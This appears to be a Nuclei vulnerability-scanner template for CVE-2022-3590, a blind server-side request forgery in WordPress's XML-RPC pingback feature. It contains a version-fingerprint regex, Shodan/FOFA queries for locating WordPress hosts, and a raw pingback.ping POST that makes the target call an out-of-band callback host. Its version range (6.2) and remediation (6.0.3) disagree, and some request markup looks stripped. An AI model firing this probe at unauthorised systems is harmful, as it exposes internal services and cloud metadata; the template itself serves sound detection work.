id: CVE-2022-3590
info:
name: WordPress <= 6.2 - Server Side Request Forgery
author: riteshs4hu
severity: medium
description: |
WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.
impact: |
Unauthenticated attackers can exploit a race condition in the WordPress pingback feature to perform blind SSRF attacks, potentially accessing internal network resources, cloud metadata endpoints, or other restricted internal services that are explicitly forbidden by validation checks.
remediation: |
Update WordPress to version 6.0.3 or later that properly handles TOCTOU race conditions in the pingback feature.
reference:
- https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
- https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.9
cve-id: CVE-2022-3590
cwe-id: CWE-367
epss-score: 0.0315
epss-percentile: 0.86575
cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wordpress
product: wordpress
shodan-query:
- cpe:"cpe:2.3:a:wordpress:wordpress"
- http.component:"wordpress"
fofa-query: body="oembed" && body="wp-"
tags: cve,cve2022,wordpress,wpscan,ssrf,oast,oob,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: regex
part: body
regex:
- 'WordPress\s+(?:[1-5]\.\d+(?:\.\d+)?|6\.[0-2](?:\.\d+)?)'
internal: true
- raw:
- |
POST /xmlrpc.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
pingback.ping
http://{{interactsh-url}}/
{{RootURL}}/?p=1
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, '','faultCode','')"
- "contains(content_type, 'text/xml')"
- "contains(interactsh_protocol, 'dns')"
condition: and
# digest: 4b0a00483046022100eea99b41870b7372d5ee6334475cb1158aa47e613927e3bef4019a971149d28902210081d19be605d5dff9a6909113b888cd883932f4e39a714d10705db1e9570153a1:922c64590222798bb761d5b6d8e72950